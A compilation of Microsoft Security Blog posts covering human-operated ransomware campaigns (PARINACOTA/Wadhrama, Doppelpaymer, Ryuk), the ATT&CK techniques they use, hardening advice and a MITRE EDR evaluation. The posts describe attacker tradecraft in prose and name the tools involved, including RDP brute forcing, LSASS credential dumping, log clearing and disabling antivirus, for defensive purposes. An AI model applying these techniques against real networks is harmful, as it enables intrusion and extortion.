Building security hygiene to defend networks against human-operated ransomware

As ransomware operators continue to compromise new targets, defenders should proactively assess risk using all available tools. You should continue to enforce proven preventive solutions—credential hygiene, minimal privileges, and host firewalls—to stymie these attacks, which have been consistently observed taking advantage of security hygiene issues and over-privileged credentials.

Apply these measures to make your network more resilient against new breaches, reactivation of dormant implants, or lateral movement:

• Randomize local administrator passwords using a tool such as LAPS.
• Apply Account Lockout Policy.
• Ensure good perimeter security by patching exposed systems. Apply mitigating factors, such as MFA or vendor-supplied mitigation guidance, for vulnerabilities.
• Utilize host firewalls to limit lateral movement. Preventing endpoints from communicating on TCP port 445 for SMB will have limited negative impact on most networks, but can significantly disrupt adversary activities.
• Turn on cloud-delivered protection for Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Follow standard guidance in the security baselines for Office and Office 365 and the Windows security baselines. Use Microsoft Secure Score assesses to measures security posture and get recommended improvement actions, guidance, and control.
• Turn on tamper protection features to prevent attackers from stopping security services.
• Turn on attack surface reduction rules, including rules that can block ransomware activity:
  • Use advanced protection against ransomware
  • Block process creations originating from PsExec and WMI commands
  • Block credential stealing from the Windows local security authority subsystem (lsass.exe)

For additional guidance on improving defenses against human-operated ransomware and building better security posture against cyberattacks in general, read Human-operated ransomware attacks: A preventable disaster.

Microsoft Threat Protection: Coordinated defense against complex and wide-reaching human-operated ransomware

What we’ve learned from the increase in ransomware deployments in April is that attackers pay no attention to the real-world consequences of disruption in services—in this time of global crisis—that their attacks cause.

Human-operated ransomware attacks represent a different level of threat because adversaries are adept at systems administration and security misconfigurations and can therefore adapt to any path of least resistance they find in a compromised network. If they run into a wall, they try to break through. And if they can’t break through a wall, they’ve shown that they can skillfully find other ways to move forward with their attack. As a result, human-operated ransomware attacks are complex and wide-reaching. No two attacks are exactly the same.

Microsoft Threat Protections (MTP) provides coordinated defenses that uncover the complete attack chain and help block sophisticated attacks like human-operated ransomware. MTP combines the capabilities of multiple Microsoft 365 security services to orchestrate protection, prevention, detection, and response across endpoints, email, identities, and apps.

Through built-in intelligence, automation, and integration, MTP can block attacks, eliminate their persistence, and auto-heal affected assets. It correlates signals and consolidates alerts to help defenders prioritize incidents for investigation and response. MTP also provides a unique cross-domain hunting capability that can further help defenders identify attack sprawl and get org-specific insights for hardening defenses.

Microsoft Threat Protection is also part of a chip-to-cloud security approach that combines threat defense on the silicon, operating system, and cloud. Hardware-backed security features on Windows 10 like address space layout randomization (ASLR), Control Flow Guard (CFG), and others harden the platform against many advanced threats, including ones that take advantage of vulnerable kernel drivers. These platform security features seamlessly integrate with Microsoft Defender ATP, providing end-to-end security that starts from a strong hardware root of trust. On Secured-core PCs these mitigations are enabled by default.

We continue to work with our customers, partners, and the research community to track human-operated ransomware and other sophisticated attacks. For dire cases customers can use available services like the Microsoft Detection and Response (DART) team to help investigate and remediate.

Microsoft Threat Protection Intelligence Team

Appendix: MITRE ATT&CK techniques observed

Human-operated ransomware campaigns employ a broad range of techniques made possible by attacker control over privileged domain accounts. The techniques listed here are techniques commonly used during attacks against healthcare and critical services in April 2020.

Credential access

• T1003 Credential Dumping | Use of LaZagne, Mimikatz, LsaSecretsView, and other credential dumping tools and exploitation of CVE-2019-11510 on vulnerable endpoints

Persistence

• T1084 Windows Management Instrumentation Event Subscription | WMI event subscription
• T1136 Create Account | Creation of new accounts for RDP

Command and control

• T1043 Commonly Used Port | Use of port 443

Discovery

• T1033 System Owner/User Discovery | Various commands
• T1087 Account Discovery | LDAP and AD queries and other commands
• T1018 Remote System Discovery | Pings, qwinsta, and other tools and commands
• T1482 Domain Trust Discovery | Domain trust enumeration using Nltest

Execution

• T1035 Service Execution | Service registered to run CMD (as ComSpec) and PowerShell commands

Lateral movement

• T1076 Remote Desktop Protocol | Use of RDP to reach other machines in the network
• T1105 Remote File Copy | Lateral movement using WMI and PsExec

Defense evasion

• T1070 Indicator Removal on Host | Clearing of event logs using wevutil, removal of USNJournal using fsutil, and deletion of slack space on drive using cipher.exe
• T1089 Disabling Security Tools | Stopping or tampering with antivirus and other security using ProcessHacker and exploitation of vulnerable software drivers

Impact

• T1489 Service Stop | Stopping of services prior to encryption
• T1486 Data Encrypted for Impact | Ransomware encryption

The post Ransomware groups continue to target healthcare, critical services; here’s how to reduce risk appeared first on Microsoft Security Blog.

These attacks are known to take advantage of network configuration weaknesses and vulnerable services to deploy ransomware payloads. And while ransomware is the very visible action taken in these attacks, human operators also deliver other malicious payloads, steal credentials, and access and exfiltrate data from compromised networks.

News about ransomware attacks often focus on the downtimes they cause, the ransom payments, and the details of the ransomware payload, leaving out details of the oftentimes long-running campaigns and preventable domain compromise that allow these human-operated attacks to succeed.

Based on our investigations, these campaigns appear unconcerned with stealth and have shown that they could operate unfettered in networks. Human operators compromise accounts with higher privileges, escalate privilege, or use credential dumping techniques to establish a foothold on machines and continue unabated in infiltrating target environments.

Human-operated ransomware campaigns often start with “commodity malware” like banking Trojans or “unsophisticated” attack vectors that typically trigger multiple detection alerts; however, these tend to be triaged as unimportant and therefore not thoroughly investigated and remediated. In addition, the initial payloads are frequently stopped by antivirus solutions, but attackers just deploy a different payload or use administrative access to disable the antivirus without attracting the attention of incident responders or security operations centers (SOCs).

Some well-known human-operated ransomware campaigns include REvil, Samas, Bitpaymer, and Ryuk. Microsoft actively monitors these and other long-running human-operated ransomware campaigns, which have overlapping attack patterns. They take advantage of similar security weaknesses, highlighting a few key lessons in security, notably that these attacks are often preventable and detectable.

Combating and preventing attacks of this nature requires a shift in mindset, one that focuses on comprehensive protection required to slow and stop attackers before they can succeed. Human-operated attacks will continue to take advantage of security weaknesses to deploy destructive attacks until defenders consistently and aggressively apply security best practices to their networks. In this blog, we will highlight case studies of human-operated ransomware campaigns that use different entrance vectors and post-exploitation techniques but have overwhelming overlap in the security misconfigurations they abuse and the impact they have on organizations.

PARINACOTA group: Smash-and-grab monetization campaigns

One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload. Microsoft has been tracking this group for some time, but now refers to them as PARINACOTA, using our new naming designation for digital crime actors based on global volcanoes.

PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group’s goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware.

The group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment.

PARINACOTA’s attacks typically brute forces their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors.

The group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used. Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.

Figure 1. PARINACOTA infection chain

We gained insight into these attacks by investigating compromised infrastructure that the group often utilizes to proxy attacks onto their next targets. To find targets, the group scans the internet for machines that listen on RDP port 3389. The attackers do this from compromised machines using tools like Masscan.exe, which can find vulnerable machines on the entire internet in under six minutes.

Once a vulnerable target is found, the group proceeds with a brute force attack using tools like NLbrute.exe or ForcerX, starting with common usernames like ‘admin’, ‘administrator’, ‘guest’, or ‘test’. After successfully gaining access to a network, the group tests the compromised machine for internet connectivity and processing capacity. They determine if the machine meets certain requirements before using it to conduct subsequent RDP brute force attacks against other targets. This tactic, which has not been observed being used by similar ransomware operators, gives them access to additional infrastructure that is less likely to be blocked. In fact, the group has been observed leaving their tools running on compromised machines for months on end.

On machines that the group doesn’t use for subsequent RDP brute-force attacks, they proceed with a separate set of actions. This technique helps the attackers evade reputation-based detection, which may block their scanning boxes; it also preserves their command-and-control (C2) infrastructure. In addition, PARINACOTA utilizes administrative privileges gained via stolen credentials to turn off or stop any running services that might lead to their detection. Tamper protection in Microsoft Defender ATP prevents malicious and unauthorized to settings, including antivirus solutions and cloud-based detection capabilities.

After disabling security solutions, the group often downloads a ZIP archive that contains dozens of well-known attacker tools and batch files for credential theft, persistence, reconnaissance, and other activities without fear of the next stages of the attack being prevented. With these tools and batch files, the group clears event logs using wevutil.exe, as well as conducts extensive reconnaissance on the machine and the network, typically looking for opportunities to move laterally using common network scanning tools. When necessary, the group elevates privileges from local administrator to SYSTEM using accessibility features in conjunction with a batch file or exploit-laden files named after the specific CVEs they impact, also known as the “Sticky Keys” attack.

The group dumps credentials from the LSASS process, using tools like Mimikatz and ProcDump, to gain access to matching local administrator passwords or service accounts with high privileges that may be used to start as a scheduled task or service, or even used interactively. PARINACOTA then uses the same remote desktop session to exfiltrate acquired credentials. The group also attempts to get credentials for specific banking or financial websites, using findstr.exe to check for cookies associated with these sites.

Figure 2. Microsoft Defender ATP alert for credential theft

With credentials on hand, PARINACOTA establishes persistence using various methods, including:

• Registry modifications using .bat or .reg files to allow RDP connections
• Setting up access through existing remote assistance apps or installing a backdoor
• Creating new local accounts and adding them to the local administrators group

To determine the type of payload to deploy, PARINACOTA uses tools like Process Hacker to identify active processes. The attackers don’t always install ransomware immediately; they have been observed installing coin miners and using massmail.exe to run spam campaigns, essentially using corporate networks as distributed computing infrastructure for profit. The group, however, eventually returns to the same machines after a few weeks to install ransomware.

The group performs the same general activities to deliver the ransomware payload:

• Plants a malicious HTA file (hta in many instances) using various autostart extensibility points (ASEPs), but often the registry Run keys or the Startup folder. The HTA file displays ransom payment instructions.
• Deletes local backups using tools like exe to stifle recovery of ransomed files.
• Stops active services that might interfere with encryption using exe, net.exe, or other tools.

Figure 3. PARINACOTA stopping services and processes

• Drops an array of malware executables, often naming the files based on their intended behavior. If previous attempts to stop antivirus software have been unsuccessful, the group simply drops multiple variants of a malware until they manage to execute one that is not detected, indicating that even when detections and alerts are occurring, network admins are either not seeing them or not reacting to them.

As mentioned, PARINACOTA has recently mostly dropped the Wadhrama ransomware, which leaves the following ransom note after encrypting target files:

Figure 4. Wadhrama ransom note

In several observed cases, targeted organizations that were able to resolve ransomware infections were unable to fully remove persistence mechanisms, allowing the group to come back and deploy ransomware again.

Figure 5. Microsoft Defender ATP machine view showing reinfection by Wadhrama

PARINACOTA routinely uses Monero coin miners on compromised machines, allowing them to collect uniform returns regardless of the type of machine they access. Monero is popular among cybercriminals for its privacy benefits: Monero not only restricts access to wallet balances, but also mixes in coins from other transactions to help hide the specifics of each transaction, resulting in transactions that aren’t as easily traceable by amount as other digital currencies.

As for the ransomware component, we have seen reports of the group charging anywhere from .5 to 2 Bitcoins per compromised machine. This varies depending on what the attackers know about the organization and the assets that they have compromised. The ransom amount is adjusted based on the likelihood the organization will pay due to impact to their company or the perceived importance of the target.

Doppelpaymer: Ransomware follows Dridex

Doppelpaymer ransomware recently caused havoc in several highly publicized attacks against various organizations around the world. Some of these attacks involved large ransom demands, with attackers asking for millions of dollars in some cases.

Doppelpaymer ransomware, like Wadhrama, Samas, LockerGoga, and Bitpaymer before it, does not have inherent worm capabilities. Human operators manually spread it within compromised networks using stolen credentials for privileged accounts along with common tools like PsExec and Group Policy. They often abuse service accounts, including accounts used to manage security products, that have domain admin privileges to run native commands, often stopping antivirus software and other security controls.

The presence of banking Trojans like Dridex on machines compromised by Doppelpaymer point to the possibility that Dridex (or other malware) is introduced during earlier attack stages through fake updaters, malicious documents in phishing email, or even by being delivered via the Emotet botnet.

While Dridex is likely used as initial access for delivering Doppelpaymer on machines in affected networks, most of the same networks contain artifacts indicating RDP brute force. This is in addition to numerous indicators of credential theft and the use of reconnaissance tools. Investigators have in fact found artifacts indicating that affected networks have been compromised in some manner by various attackers for several months before the ransomware is deployed, showing that these attacks (and others) are successful and unresolved in networks where diligence in security controls and monitoring is not applied.

The use of numerous attack methods reflects how attackers freely operate without disruption – even when available endpoint detection and response (EDR) and endpoint protection platform (EPP) sensors already detect their activities. In many cases, some machines run without standard safeguards, like security updates and cloud-delivered antivirus protection. There is also the lack of credential hygiene, over-privileged accounts, predictable local administrator and RDP passwords, and unattended EDR alerts for suspicious activities.

Figure 6. Sample Microsoft Defender ATP alert

The success of attacks relies on whether campaign operators manage to gain control over domain accounts with elevated privileges after establishing initial access. Attackers utilize various methods to gain access to privileged accounts, including common credential theft tools like Mimikatz and LaZagne. Microsoft has also observed the use of the Sysinternals tool ProcDump to obtain credentials from LSASS process memory. Attackers might also use LSASecretsView or a similar tool to access credentials stored in the LSA secrets portion of the registry. Accessible to local admins, this portion of the registry can reveal credentials for domain accounts used to run scheduled tasks and services.

Figure 7. Doppelpaymer infection chain

Campaign operators continually steal credentials, progressively gaining higher privileges until they control a domain administrator-level account. In some cases, operators create new accounts and grant Remote Desktop privileges to those accounts.

Apart from securing privileged accounts, attackers use other ways of establishing persistent access to compromised systems. In several cases, affected machines are observed launching a base64-encoded PowerShell Empire script that connects to a C2 server, providing attackers with persistent control over the machines. Limited evidence suggests that attackers set up WMI persistence mechanisms, possibly during earlier breaches, to launch PowerShell Empire.

After obtaining adequate credentials, attackers perform extensive reconnaissance of machines and running software to identify targets for ransomware delivery. They use the built-in command qwinsta to check for active RDP sessions, run tools that query Active Directory or LDAP, and ping multiple machines. In some cases, the attackers target high-impact machines, such as machines running systems management software. Attackers also identify machines that they could use to stay persistent on the networks after deploying ransomware.

Attackers use various protocols or system frameworks (WMI, WinRM, RDP, and SMB) in conjunction with PsExec to move laterally and distribute ransomware. Upon reaching a new device through lateral movement, attackers attempt to stop services that can prevent or stifle successful ransomware distribution and execution. As in other ransomware campaigns, the attackers use native commands to stop Exchange Server, SQL Server, and similar services that can lock certain files and disrupt attempts to encrypt them. They also stop antivirus software right before dropping the ransomware file itself.

Attempts to bypass antivirus protection and deploy ransomware are particularly successful in cases where:

• Attackers already have domain admin privileges
• Tamper protection is off
• Cloud-delivered protection is off
• Antivirus software is not properly managed or is not in a healthy state

Microsoft Defender ATP generates alerts for many activities associated with these attacks. However, in many of these cases, affected network segments and their associated alerts are not actively being monitored or responded to.

Attackers also employ a few other techniques to bypass protections and run ransomware code. In some cases, we found artifacts indicating that they introduce a legitimate binary and use Alternate Data Streams to masquerade the execution of the ransomware binary as legitimate binary.

Figure 8. Command prompt dump output of the Alternate Data Stream

The Doppelpaymer ransomware binary used in many attacks are signed using what appears to be stolen certificates from OFFERS CLOUD LTD, which might be trusted by various security solutions.

Doppelpaymer encrypts various files and displays a ransom note. In observed cases, it uses a custom extension name for encrypted files using information about the affected environment. For example, it has used l33tspeak versions of company names and company phone numbers.

Notably, Doppelpaymer campaigns do not fully infect compromised networks with ransomware. Only a subset of the machines have the malware binary and a slightly smaller subset have their files encrypted. The attackers maintain persistence on machines that don’t have the ransomware and appear intent to use these machines to come back to networks that pay the ransom or do not perform a full incident response and recovery.

Ryuk: Human-operated ransomware initiated from Trickbot infections

Ryuk is another active human-operated ransomware campaign that wreaks havoc on organizations, from corporate entities to local governments to non-profits by disrupting businesses and demanding massive ransom. Ryuk originated as a ransomware payload distributed over email, and but it has since been adopted by human operated ransomware operators.

Like Doppelpaymer, Ryuk is one of possible eventual payloads delivered by human operators that enter networks via banking Trojan infections, in this case Trickbot. At the beginning of a Ryuk infection, an existing Trickbot implant downloads a new payload, often Cobalt Strike or PowerShell Empire, and begins to move laterally across a network, activating the Trickbot infection for ransomware deployment. The use of Cobalt Strike beacon or a PowerShell Empire payload gives operators more maneuverability and options for lateral movement on a network. Based on our investigation, in some networks, this may also provide the added benefit to the attackers of blending in with red team activities and tools.

In our investigations, we found that this activation occurs on Trickbot implants of varying ages, indicating that the human operators behind Ryuk likely have some sort of list of check-ins and targets for deployment of the ransomware. In many cases, however, this activation phase comes well after the initial Trickbot infection, and the eventual deployment of a ransomware payload may happen weeks or even months after the initial infection.

In many networks, Trickbot, which can be distributed directly via email or as a second-stage payload to other Trojans like Emotet, is often considered a low-priority threat, and not remediated and isolated with the same degree of scrutiny as other, more high-profile malware. This works in favor of attackers, allowing them to have long-running persistence on a wide variety of networks. Trickbot, and the Ryuk operators, also take advantage of users running as local administrators in environments and use these permissions to disable security tools that would otherwise impede their actions.

Figure 9. Ryuk infection chain

Once the operators have activated on a network, they utilize their Cobalt Strike or PowerShell tools to initiate reconnaissance and lateral movement on a network. Their initial steps are usually to use built-in commands such as net group to enumerate group membership of high-value groups like domain administrators and enterprise administrators, and to identify targets for credential theft.

Ryuk operators then use a variety of techniques to steal credentials, including the LaZagne credential theft tool. The attackers also save various registry hives to extract credentials from Local Accounts and the LSA Secrets portion of the registry that stores passwords of service accounts, as well as Scheduled Tasks configured to auto start with a defined account. In many cases, services like security and systems management software are configured with privileged accounts, such as domain administrator; this makes it easy for Ryuk operators to migrate from an initial desktop to server-class systems and domain controllers. In addition, in many environments successfully compromised by Ryuk, operators are able to utilize the built-in administrator account to move laterally, as these passwords are matching and not randomized.

Once they have performed initial basic reconnaissance and credential theft, the attackers in some cases utilize the open source security audit tool known as BloodHound to gather detailed information about the Active Directory environment and probable attack paths. This data and associated stolen credentials are accessed by the attacker and likely retained, even after the ransomware portion is ended.

The attackers then continue to move laterally to higher value systems, inspecting and enumerating files of interest to them as they go, possibly exfiltrating this data. The attackers then elevate to domain administrator and utilize these permissions to deploy the Ryuk payload.

The ransomware deployment often occurs weeks or even months after the attackers begin activity on a network. The Ryuk operators use stolen Domain Admin credentials, often from an interactive logon session on a domain controller, to distribute the Ryuk payload. They have been seen doing this via Group Policies, setting a startup item in the SYSVOL share, or, most commonly in recent attacks, via PsExec sessions emanating from the domain controller itself.

Improving defenses to stop human-operated ransomware

In human-operated ransomware campaigns, even if the ransom is paid, some attackers remain active on affected networks with persistence via PowerShell Empire and other malware on machines that may seem unrelated to ransomware activities. To fully recover from human-powered ransomware attacks, comprehensive incident response procedures and subsequent network hardening need to be performed.

As we have learned from the adaptability and resourcefulness of attackers, human-operated campaigns are intent on circumventing protections and cleverly use what’s available to them to achieve their goal, motivated by profit. The techniques and methods used by the human-operated ransomware attacks we discussed in this blog highlight these important lessons in security:

1. IT pros play an important role in security

Some of the most successful human-operated ransomware campaigns have been against servers that have antivirus software and other security intentionally disabled, which admins may do to improve performance. Many of the observed attacks leverage malware and tools that are already detected by antivirus. The same servers also often lack firewall protection and MFA, have weak domain credentials, and use non-randomized local admin passwords. Oftentimes these protections are not deployed because there is a fear that security controls will disrupt operations or impact performance. IT pros can help with determining the true impact of these settings and collaborate with security teams on mitigations.

Attackers are preying on settings and configurations that many IT admins manage and control. Given the key role they play, IT pros should be part of security teams.

2. Seemingly rare, isolated, or commodity malware alerts can indicate new attacks unfolding and offer the best chance to prevent larger damage

Human-operated attacks involve a fairly lengthy and complex attack chain before the ransomware payload is deployed. The earlier steps involve activities like commodity malware infections and credential theft that Microsoft Defender ATP detects and raises alerts on. If these alerts are immediately prioritized, security operations teams can better mitigate attacks and prevent the ransomware payload. Commodity malware infections like Emotet, Dridex, and Trickbot should be remediated and treated as a potential full compromise of the system, including any credentials present on it.

3. Truly mitigating modern attacks requires addressing the infrastructure weakness that let attackers in

Human-operated ransomware groups routinely hit the same targets multiple times. This is typically due to failure to eliminate persistence mechanisms, which allow the operators to go back and deploy succeeding rounds of payloads, as targeted organizations focus on working to resolve the ransomware infections.

Organizations should focus less on resolving alerts in the shortest possible time and more on investigating the attack surface that allowed the alert to happen. This requires understanding the entire attack chain, but more importantly, identifying and fixing the weaknesses in the infrastructure to keep attackers out.

While Wadhrama, Doppelpaymer, Ryuk, Samas, REvil, and other human-operated attacks require a shift in mindset, the challenges they pose are hardly unique.

Removing the ability of attackers to move laterally from one machine to another in a network would make the impact of human-operated ransomware attacks less impactful and make the network more resilient against all kinds of cyberattacks. The top recommendations for mitigating ransomware and other human-operated campaigns are to practice credential hygiene and stop unnecessary communication between endpoints.

Here are relevant mitigation actions that enterprises can apply to build better security posture and be more resistant against cyberattacks in general:

• Harden internet-facing assets and ensure they have the latest security updates. Use threat and vulnerability management to audit these assets regularly for vulnerabilities, misconfigurations, and suspicious activity.
• Secure Remote Desktop Gateway using solutions like Azure Multi-Factor Authentication (MFA). If you don’t have an MFA gateway, enable network-level authentication (NLA).
• Practice the principle of least-privilege and maintain credential hygiene. Avoid the use of domain-wide, admin-level service accounts. Enforce strong randomized, just-in-time local administrator passwords. Use tools like LAPS.
• Monitor for brute-force attempts. Check excessive failed authentication attempts (Windows security event ID 4625).
• Monitor for clearing of Event Logs, especially the Security Event log and PowerShell Operational logs. Microsoft Defender ATP raises the alert “Event log was cleared” and Windows generates an Event ID 1102 when this occurs.
• Turn on tamper protection features to prevent attackers from stopping security services.
• Determine where highly privileged accounts are logging on and exposing credentials. Monitor and investigate logon events (event ID 4624) for logon type attributes. Domain admin accounts and other accounts with high privilege should not be present on workstations.
• Turn on cloud-delivered protection and automatic sample submission on Windows Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Turn on attack surface reduction rules, including rules that block credential theft, ransomware activity, and suspicious use of PsExec and WMI. To address malicious activity initiated through weaponized Office documents, use rules that block advanced macro activity, executable content, process creation, and process injection initiated by Office applications. To assess the impact of these rules, deploy them in audit mode.
• Turn on AMSI for Office VBA if you have Office 365.
• Utilize the Windows Defender Firewall and your network firewall to prevent RPC and SMB communication among endpoints whenever possible. This limits lateral movement as well as other attack activities.

Figure 10. Improving defenses against human-operated ransomware

How Microsoft empowers customers to combat human-operated attacks

The rise of adaptable, resourceful, and persistent human-operated attacks characterizes the need for advanced protection on multiple attack surfaces. Microsoft Threat Protection delivers comprehensive protection for identities, endpoints, data, apps, and infrastructure. Through built-intelligence, automation, and integration, Microsoft Threat Protection combines and orchestrates into a single solution the capabilities of Microsoft Defender Advanced Threat Protection (ATP), Office 365 ATP, Azure ATP, and Microsoft Cloud App Security, providing customers integrated security and unparalleled visibility across attack vectors.

Building an optimal organizational security posture is key to defending networks against human-operated attacks and other sophisticated threats. Microsoft Secure Score assesses and measures an organization’s security posture and provides recommended improvement actions, guidance, and control. Using a centralized dashboard in Microsoft 365 security center, organizations can compare their security posture with benchmarks and establish key performance indicators (KPIs).

On endpoints, Microsoft Defender ATP provides unified protection, investigation, and response capabilities. Durable machine learning and behavior-based protections detect human-operated campaigns at multiple points in the attack chain, before the ransomware payload is deployed. These advanced detections raise alerts on the Microsoft Defender Security Center, enabling security operations teams to immediately respond to attacks using the rich capabilities in Microsoft Defender ATP.

The Threat and Vulnerability Management capability uses a risk-based approach to the discovery, prioritization, and remediation of misconfigurations and vulnerabilities on endpoints. Notably, it allows security administrators and IT administrators to collaborate seamlessly to remediate issues. For example, through Microsoft Defender ATP’s integration with Microsoft Intune and System Center Configuration Manager (SCCM), security administrators can create a remediation task in Microsoft Intune with one click.

Microsoft experts have been tracking multiple human operated ransomware groups. To further help customers, we released a Microsoft Defender ATP Threat Analytics report on the campaigns and mitigations against the attack. Through Threat Analytics, customers can see indicators of Wadhrama, Doppelpaymer, Samas, and other campaign activities in their environments and get details and recommendations that are designed to help security operations teams to investigate and respond to attacks. The reports also include relevant advanced hunting queries that can further help security teams look for signs of attacks in their network.

Customers subscribed to Microsoft Threat Experts, the managed threat hunting service in Microsoft Defender ATP, get targeted attack notification on emerging ransomware campaigns that our experts find during threat hunting. The email notifications are designed to inform customers about threats that they need to prioritize, as well as critical information like timeline of events, affected machines, and indicators of compromise, which help in investigating and mitigating attacks. Additionally, with experts on demand, customers can engage directly with Microsoft security analysts to get guidance and insights to better understand, prevent, and respond to human-operated attacks and other complex threats.

Microsoft Threat Protection Intelligence Team

Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft Threat Protection and Microsoft Defender ATP tech communities.

Read all Microsoft security intelligence blog posts.

Follow us on Twitter @MsftSecIntel.

The post Human-operated ransomware attacks: A preventable disaster appeared first on Microsoft Security Blog.

MITRE tested the ability of products to detect techniques commonly used by the targeted attack group APT3 (also known as Boron or UPS). To isolate detection capabilities, as part of the testing, all protection and prevention features were turned off. In the case of Windows Defender ATP, this meant turning off blocking capabilities like hardware-based isolation, attack surface reduction, network protection, exploit protection, controlled folder access, and next-gen antivirus. The test showed that, by itself, Windows Defender ATP’s EDR component is one of the most powerful detection and investigation solutions in the market today.

Microsoft is happy to be one of the first EDR vendors to sign up for the MITRE evaluation based on the ATT&CK framework, widely regarded today as the most comprehensive catalog of attacker techniques and tactics. MITRE closely partnered with participating security vendors in designing and executing the evaluation, resulting in a very collaborative and productive testing process.

We like participating in scientific and impartial tests because we learn from them. Learning from independent tests, like listening to customers and conducting our own research, is part of our goal to make sure that Windows Defender ATP is always ahead of threats and continues to evolve.

Overall, the results of the MITRE evaluation validated our investments in continuously enriching Windows Defender ATP’s capabilities to detect and expose attacker techniques. Below we highlight some of the acute attacker techniques that Windows Defender ATP effectively detected during the MITRE testing.

For a more detailed analysis of the results, including automated alerting capabilities, number of misses, coverage of critical attack techniques, and extended visibility with Microsoft Threat Protection, see: MITRE evaluation highlights industry-leading EDR capabilities in Windows Defender ATP.

Deep security telemetry and comprehensive coverage

Windows Defender ATP showed exceptional capabilities for detecting attacker techniques throughout APT3’s attack stages, registering the lowest number of misses among evaluated products. Throughout the emulated attack chain, Windows Defender ATP detected the most critical attacker techniques, including:

• Multiple discovery techniques (detected with “Suspicious sequence of exploration activities” alert)
• Multiple process injection attempts for privilege escalation, credential theft, and keylogging/screen capture
• Rundll32.exe being used to execute malware
• Credential dumping from LSASS
• Persistence via Scheduled Task
• Keylogging (both in Cobalt Strike and PS Empire)
• Brute force login attempts
• Accessibility features attack (abusing sticky keys)
• Lateral movement via remote service registration

Windows Defender ATP correlates security signals across endpoints and identities. In the case of the APT3 emulation, signals from Azure Advanced Threat Protection helped expose and enrich the detection of the account discovery behavior. This validates the strategic approach behind Microsoft Threat Protection: the most comprehensive protection comes from sharing rich telemetry collected across the entire attack chain.

Windows Defender ATP’s Antimalware Scan Interface (AMSI) sensors also proved especially powerful, providing rich telemetry on the latter stages of the attack emulation, which made heavy use of malicious PowerShell scripts. This test highlighted the value of transparency: the AMSI interface enabled deep visibility into the PowerShell script used in each attacker technique. Advanced machine learning-based detection capabilities in Windows Defender ATP used this visibility to expose the malicious scripts.

Stopping attacks in the real world with Windows Defender ATP’s unified endpoint security platform

The MITRE results represent EDR detection capabilities, which surface malicious and other anomalous activities. In actual customer environments, Windows Defender ATP’s preventive capabilities, like attack surface reduction and next-gen protection capabilities, would have blocked many of the attack techniques at the onset. In addition, investigation and hunting capabilities enable security operations personnel to correlate alerts and incidents to enable holistic response actions and build wider protections.

Windows Defender ATP’s best-in-class detection capabilities, as affirmed by MITRE, is amplified across Microsoft solutions through Microsoft Threat Protection, a comprehensive, integrated protection for identities, endpoints, user data, cloud apps, and infrastructure. To run your own evaluation of how Windows Defender ATP can help protect your organization and let you detect, investigate, and respond to advanced attacks, sign up for a free Windows Defender ATP trial.

Windows Defender ATP team

Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community and Windows Defender Security Intelligence.

Follow us on Twitter @WDSecurity and Facebook Windows Defender Security Intelligence.

The post Insights from the MITRE ATT&CK-based evaluation of Windows Defender ATP appeared first on Microsoft Security Blog.